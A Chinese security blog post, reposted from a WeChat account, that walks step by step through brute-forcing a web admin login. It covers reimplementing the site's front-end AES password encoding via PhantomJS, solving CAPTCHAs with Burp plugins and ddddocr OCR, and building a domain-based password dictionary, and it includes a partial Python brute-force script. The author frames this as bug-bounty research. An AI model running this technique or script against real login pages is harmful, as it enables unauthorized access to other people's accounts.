记一次实战前端登录爆破绕过技巧

admin 2024年1月19日11:02:38评论9 views字数 5118阅读17分3秒阅读模式

免则声明:本公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权转载和其他公众号白名单转载,如需转载,联系作者开白。

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0X00 前言

    相信很多萌新师傅或者刚入行不久的师傅们在挖掘漏洞的时候,当遇到/admin这种后台地址的时候或多或少会遇到账号啊,密码被编码,然后还加个验证码这种,及时这个平台后台的密码可能是个弱口令,但很多师傅还是直接就溜了,本文这里讲讲如何绕过这类情况进行爆破。

0X01 工具准备

1.c0ny1师傅编写的jsEncrypt插件:

https://github.com/c0ny1/jsEncrypter

记一次实战前端登录爆破绕过技巧

2.一个基于webkit的javaScript API,phantomjs:

http://phantomjs.org/download.html

记一次实战前端登录爆破绕过技巧

3.将这两款下载的工具放在以下目录如图:

记一次实战前端登录爆破绕过技巧

4.验证码识别插件:

f0ng师傅改验证码识别的插件:

https://github.com/f0ng/captcha-killer-modified/releases/tag/0.16

记一次实战前端登录爆破绕过技巧

5.将之前的jsEncrypter插件和catcha-killer-modified-0.16-jdk11.jar插件进行安装,在burpsuit的extender模块安装如下:

记一次实战前端登录爆破绕过技巧

这里打上√就安装好了,就可以在burpsuit模块界面看到了。

记一次实战前端登录爆破绕过技巧

0X02 实战经历

这里是我曾经挖的一个某厂的高危弱口令漏洞,其实密码很简单,就是域名加上年份在加特殊字符如!@#这类的,但是他的登录口是做了前端编码,验证码也是需要识别的,一般很多不会前端编码破解和验证码识别的师傅都会跳过了直接,这里给大家演示下如何使用上面装的插件工具。

1.下面是登录界面

记一次实战前端登录爆破绕过技巧

2.我们抓包看看是啥样,可以看出会有验证码和编码后的password,如果想要爆破,那就需要我们使用之前说到的工具了。

记一次实战前端登录爆破绕过技巧

3.F12寻找password字段是如何进行编码的,Ctrl+Shift+F全局搜索password字段

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

4.点进去,点击下方的{}格式化一下好看一点

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

5.可以看出是利用encrypt进行编码的,我们去找这个函数encrypt,在该js里面ctrl+f搜索这个方法encrypt如下:

记一次实战前端登录爆破绕过技巧

6.可以看出使用的是aes的编码然后可能稍微混淆了一下,这个师傅们有时间自己去看看不多说了,这里主要讲如何使用工具,我们拿到他的编码方法,把这个复制一下放到刚才准备好的前端破解文件夹里的phantomjs_server.js文件里,然后也需要加载一下crypto-js.js文件这个用于调用CryptoJS方法,这个文件我会放在云盘,需要的师傅可以关注公众号回复(获取前端破解工具)获取

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

7.这里aes编码的准备工作就完成了,这里我们再bin目录下cmd运行phantomjs.exe phantomjs_server.js然后使用bp进行设置监听,点击test试试,可以看到我们的密码已经进行同样的编码,这样密码就OK了:

记一次实战前端登录爆破绕过技巧

8.这里成功后我们要使用破解后的密码只需要在爆破模块进行选择就行了,如下:

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

9.前端密码已经解决现在解决验证码的问题,这个跟着我的步骤来就行了,如下:

点击验证码图片抓包,

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

10.将这个验证码获取的包放到captche-killer-modified这个模块下然后上面输入http://或https://实际根据是http还是https选择就行,如果获取右边有验证码就好了。

记一次实战前端登录爆破绕过技巧

11.将下面的代码贴在request template模块

POST /reg HTTP/1.1Host: 127.0.0.1:8808Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36Sec-Fetch-Mode: navigateSec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Sec-Fetch-Site: noneAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencodedContent-Length: 55<@BASE64><@IMG_RAW></@IMG_RAW></@BASE64>

记一次实战前端登录爆破绕过技巧

12.然后运行111.py的脚本,公众号回复(获取前端破解工具)即可打包获取

记一次实战前端登录爆破绕过技巧

运行脚本在8808端口这个你也可以自己改,代码里改就行,然后我们就可以点击识别了

记一次实战前端登录爆破绕过技巧

13.这里识别完毕了,我们就也是在爆破模块去调用这个,如图操作

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

记一次实战前端登录爆破绕过技巧

14.然后可以爆破看看,可以看到我们的密码字段和验证都在变化,720返回的就是账号密码错误啥的,也就是说可以进行爆破了。

记一次实战前端登录爆破绕过技巧

15.接下来我也说了这个是个实战项目,这里我们去用社工密码生成器推荐这个:https://github.com/zgjx6/SocialEngineeringDictionaryGenerator,这里直接下载该博主的项目index.html,直接本地使用,这里演示一下,这里我们就猜测密码可能跟域名有关如下:

记一次实战前端登录爆破绕过技巧

16.然后生成密码,复制一下

记一次实战前端登录爆破绕过技巧

17.直接把密码贴到bp的密码字典里

记一次实战前端登录爆破绕过技巧

18.最后也是成功爆破出来了,运气比较好,虽然是个弱口令,但是算的高危漏洞,也给了不错的奖金,因为已经是几个月前的漏洞了所以早就修改成强密码了,这里就不贴爆破成功的截图了

记一次实战前端登录爆破绕过技巧

0X03 脚本编写

1.刚才的实战其实也是有运气的成分,因为yzm识别插件并不是百分百成功识别,当我们遇到正确的密码但是验证码却识别失败的话就很蛋疼,所以我们可以编写脚本,在系统提示验证码失败的时候我们可以把这个密码在丢回去继续爆破,这样就能达到百分百跑完我们的字典,师傅们可以研究下,这个基本是这种爆破用的基本模板吧,可以自己根据实际情况更改,这里就不多说了,。(注意一点就是获取验证码使用的header里的cookie和登录处使用的header的cookie要一致,要不就会出现验证码识别成功,但是爆破却不成功的情况!

介绍一个比较要用的转换header格式的网站:

https://tooltt.com/header2json/

可以直接讲请求头格式化使用非常方便

直接贴出代码完整代码请关注回复公众号回复(获取前端破解破解工具)获取:

#author:Soufaker#time: 2022/9/11import ddddocrimport requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)import urllib3urllib3.disable_warnings()def get_yzm(img_bytes):    ocr = ddddocr.DdddOcr()    res = ocr.classification(img_bytes)    return resdef login_bp(url,username,password,yzm):    proxies = {"http": None, "https": None}    header = {           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",           "Accept": "application/json, text/plain, */*",           "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",           "Accept-Encoding": "gzip, deflate",           "Content-Type": "application/json",           "Content-Length": "100",           "Origin": "https://XXXX",           "Connection": "close",           "Referer": "xxx",           "Cookie": "gr_user_id=7c0daa95-3d6f-44dc-9932-15be2356da6e; _ga=GA1.2.1322886505.1656321040; HWWAFSESID=103d973e3bc6a86fda; HWWAFSESTIME=1664327862443; _lang_=zh_CN",           "Sec-Fetch-Dest": "empty",           "Sec-Fetch-Mode": "cors",           "Sec-Fetch-Site": "same-origin"}    data = '{"userName": "'+str(username)+'","passWord": "'+str(password)+'","imgCode":"'+str(yzm)+'","merCode":"MGB"}'    print(data)    try:        resq = requests.post(url,data=data,headers=header,verify=False)        res = resq.text        code = resq.status_code        return res, code    except:        print('连接错误')        res1 = 'NULL'        code = 403        return res1, codedef bp(username):    proxies = {        "http": "http://127.0.0.1:8080",        "https": "http://127.0.0.1:8080",    }    header = {       "Host": "XXXX",       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",       "Accept": "image/avif,image/webp,*/*",       "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",       "Accept-Encoding": "gzip, deflate",       "Connection": "close",       "Referer": "XXXXX",       "Cookie": "gr_user_id=7c0daa95-3d6f-44dc-9932-15be2356da6e; _ga=GA1.2.1322886505.1656321040; HWWAFSESID=103d973e3bc6a86fda; HWWAFSESTIME=1664327862443; _lang_=zh_CN",       "Sec-Fetch-Dest": "image",       "Sec-Fetch-Mode": "no-cors",       "Sec-Fetch-Site": "same-origin"   }    login_url = "https://XXXX/mgb/user/login"    yzm_url = "https://XXXX/user/getVerify"    pwd_list = []    true_list = []    with open('pass.txt') as f:        for line in f.readlines():            pwd = line.strip()            pwd_list.append(pwd)

关 注 有 礼

关注公众号回复“靶机系统”可以领取几套完整的靶场系统,“渗透资料”常用的渗透资料文档,“ 小程序工具包”小程序渗透常用工具包,“渗透工具”常用的渗透测试工具,“视频教程”几套完整的视频教程。

记一次实战前端登录爆破绕过技巧

原文始发于微信公众号(渗透测试研究中心):记一次实战前端登录爆破绕过技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日11:02:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次实战前端登录爆破绕过技巧http://cn-sec.com/archives/2409635.html

发表评论

匿名网友 填写信息